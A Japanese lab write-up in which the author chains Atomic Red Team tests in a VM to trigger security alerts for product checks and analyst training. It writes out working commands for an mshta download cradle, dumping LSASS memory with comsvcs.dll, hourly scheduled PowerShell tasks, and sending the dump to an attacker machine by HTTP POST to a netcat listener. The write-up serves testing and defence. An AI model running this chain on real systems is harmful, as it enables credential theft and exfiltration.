目次
はじめに
業務においてセキュリティ製品の検証やアナリストのトレーニングなどの目的で、実践的な形でセキュリティアラートを発生させる必要があった。そこで普段はRed Teamのような攻撃を行う立場にないのだが、自分なりにAtomic Red Team1など活用して安全な環境内(VM)で意図的に攻撃アクティビティを実行した。本記事が以下のような人の参考になれば幸いである
- セキュリティ製品検証などの目的で模擬的な攻撃をしたい人
- セキュリティの模擬攻撃を試したいが何から始めればよいかわからない人
- セキュリティに関するトレーニングでセキュリティアラートを発生させたい人
また、未来の自分がこの記事を見て再現できるようにすることも本記事の目的である。そういったわけでどのように攻撃方法を調べたのか、攻撃を実行したのか、など共有しようと思う。
※本記事の内容は、あくまで個人の考えや調査に基づくものです。参考にする場合は自己責任でお願いします。また、ここで紹介している情報を個人の範囲を超えて使うのはご遠慮ください。万が一トラブルなどがあっても、当方では責任を負いかねますのでご了承ください。
- Atomic Red Teamとは
https://www.atomicredteam.io/ より引用
Atomic Red Team is an open source library of tests designed to test your organization's security controls, and this website is designed to help security teams better understand Atomic Red Team and the related collection of free and open source tools.
Atomic Red Teamは、組織のセキュリティコントロールをテストするために設計されたテストのオープンソースライブラリであり、このウェブサイトは、セキュリティチームがAtomic Red Teamと関連する無料のオープンソースツールのコレクションをよりよく理解できるように設計されています。
進め方・手順
- attack flowの検討
- どのtactics/techniqueを利用するのか
- VM環境やアカウントなどのセットアップ
- 本記事では説明は省略
- 各attackをtactics/technique単位で検証
- 簡単な実行内容から初めて徐々に複雑な実行内容に改修
- 検証stepでの実行内容がセキュリティ製品でどのように検知されているか・実行内容がどのように見えるか確認
- 本記事では説明は省略
Environment(VM環境)
- victim machine(被害端末)
- Windows10
- セキュリティ製品のエージェントインストール済
- 攻撃を妨げないよう検知だけを行うように設定
- privilege:admin(privilege escalationの工程は試していない)
- attacker machine(攻撃側端末)
- kali linux
- ペイロードを配置
- 役割としてはweb serverとvictim machineの送信先C2
- Network
- 端末間での通信可能
attack flow
- 基本的に参考にした実行が容易な内容から試す
- そこから段階的に内容を改修して実行していく
- 最終決定のattack flow
- Execution -> Credential Access(be executed in Execution step) -> Persistence -> Exfiltration(repeat with scheduled task)
- attack activityの検討
- Atomic Red Teamの検索ページ2からTacticやPlatforms、Executors、Elevationで条件指定
- 条件としては
- 例。T1003.001 - OS Credential Dumping: LSASS Memory の検索条件
supported_platforms:(windows) phases:(credential-access) executor.name=(powershell) executor.elevation_required:true
Execution
-
T1059.001 - Command and Scripting Interpreter: PowerShell
Atomic Test #8 - Powershell invoke mshta.exe download 3- first step
- 参照ページから通信先情報"url"をgithub上のペイロードを指定し実行
- github上のペイロードにはPowerShellのスクリプトが含まれている
- mshtaペイロードをダウンロードし、PowerShellウィンドウで"Download Cradle test success!"と表示
- "var"で始まる行を修正しこの後のstepでペイロードの実行内容を修正していく
- windows command_prompt execution command
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/mshta.sct').Exec();close()"
- second step
- 通信先をkaliに修正
- kaliからペイロードを取得し、LSASS dumpを実行するmshtaペイロードを実行
- kaliはapacheサービスを起動してweb serverとして通信を待つ
- windows command_prompt execution command
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:"attacker machine ip address"/mshta_dump.sct').Exec();close()"
- mshta_dump.sct script(githubのペイロードのスクリプト部分だけを修正)
var objShell = new ActiveXObject("WScript.Shell").Run("powershell -c \"C:\\Windows\\System32\\rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump (Get-Process lsass).id "output file" full\"");
- Process tree
- cmd.exe -> mshta.exe -> powershell.exe -> rundll32.exe
- rundll32.exe
- commandline
"C:\Windows\System32\rundll32.exe" C:\windows\System32\comsvcs.dll MiniDump 640 C:\Users\root\Desktop\temp\lsass-comsvcs.dmp full
- commandline
- first step
Credential access
-
T1003.001 - OS Credential Dumping: LSASS Memory
Atomic Test #2 - Dump LSASS.exe Memory using comsvcs.dll4
Persistence
-
T1053.005 - Scheduled Task/Job: Scheduled Task
Atomic Test #2 - Scheduled task Local5-
first step
-
second step
- windowsからkaliへのファイル転送
- Invoke-WebRequestを利用し指定されたファイルをPOSTする処理をps1ファイルで記述
- kaliはファイル出力先を指定し通信を受け付け
- windows command_prompt execution command
SCHTASKS /Create /SC hourly /MO 1 /TN ps_test /TR "powershell.exe -NoProfile -ExecutionPolicy Bypass -File \"C:\Users\root\Desktop\temp\ps_test.ps1\"" /RL HIGHEST
- PowerShell script(ps_test.ps1)
$filecontent = Get-Content -Path C:\Users\root\AppData\Local\Temp\dump.txt; Invoke-WebRequest -Uri "attacker machine ip address" -Method POST -DisableKeepAlive -TimeoutSec 15 -Body $filecontent;
- kali command to receive files
nc -l -p 10443 > /home/kali/Desktop/temp/receive_dump
-
third step
- kaliへのdumpファイル転送
- Credential accessのフェーズでdumpしたファイルをPOSTする処理をps1ファイルで記述
- kaliはsecond stepと同様にファイル出力先を指定し通信を受け付け
- windows command_prompt execution command
SCHTASKS /Create /SC hourly /MO 1 /TN VUL_transmit /TR "powershell.exe -NoProfile -ExecutionPolicy Bypass -File \"C:\Users\root\Desktop\temp\transmit_dump.ps1\"" /RL HIGHEST
- PowerShell script(transmit_dump.ps1)
$filecontent = Get-Content -Path C:\Users\root\Desktop\temp\lsass-comsvcs.dmp; Invoke-WebRequest -Uri "attacker machine ip address" -Method POST -DisableKeepAlive -TimeoutSec 15 -Body $filecontent;
- kali command to receive files
nc -l -p 10443 > /home/kali/Desktop/temp/receive_dump
- Process tree(タスクスケジュールによるPowerShell script実行)
- Task Scheduler -> svchost.exe -> powershell.exe
- Task Scheduler
- task name: VUL_transmit
-
Exfiltration
-
T1041 - Exfiltration Over C2 Channel6
-
first step
- kaliは通信を受け付け、そのデータををターミナル上に出力
- kali command
nc -l -p 10443
- windows PowerShell command to transmit(POST) a file
$filecontent = Get-Content -Path C:\Users\root\AppData\Local\Temp\dump.txt; Invoke-WebRequest -Uri "attacker machine ip address" -Method POST -DisableKeepAlive -TimeoutSec 15 -Body $filecontent -SkipHttpErrorCheck;
-
second step
- kaliはwindowsからファイルを受け付け、そのデータを保存
- kali command
nc -l -p 10443 > /home/kali/Desktop/temp/receive_dump
- windows PowerShell command to transmit(POST) a file
$filecontent = Get-Content -Path C:\Users\root\Desktop\temp\lsass-comsvcs.dmp; Invoke-WebRequest -Uri "attacker machine ip address" -Method POST -DisableKeepAlive -TimeoutSec 15 -Body $filecontent -SkipHttpErrorCheck;
-
Summary
Atomic Red Teamを参考にいくつかのtactics/techniqueを利用し、模擬的な攻撃を無事に(スケジュールにも間に合って)行うことができた。単発の攻撃イベントではなく、ある程度、流れのある一連の攻撃に仕立てることができた点は評価できる点かと思う。また、これは副次的な成果ではあるが、Red Teamの立場でセキュリティに従事している方々の苦労を少しは経験し、その面白さや会話のネタができたことも収穫である。
疑似攻撃の実行としては今後の課題に以下があげられる。
- 権限昇格などの攻撃ハードルをあげる
- 難読化など検知回避や解析妨害の工夫も追加する
- 通信端末用にドメインの用意や外部サービスの利用、NWをより実践的にする
-
https://www.atomicredteam.io/atomic-red-team/atomics/T1059.001#atomic-test-8---powershell-invoke-mshtaexe-download ↩
-
https://www.atomicredteam.io/atomic-red-team/atomics/T1003.001#atomic-test-2---dump-lsassexe-memory-using-comsvcsdll ↩
-
https://www.atomicredteam.io/atomic-red-team/atomics/T1053.005#atomic-test-2---scheduled-task-local ↩
-
https://www.atomicredteam.io/atomic-red-team/atomics/T1041#atomic-test-1---c2-data-exfiltration ↩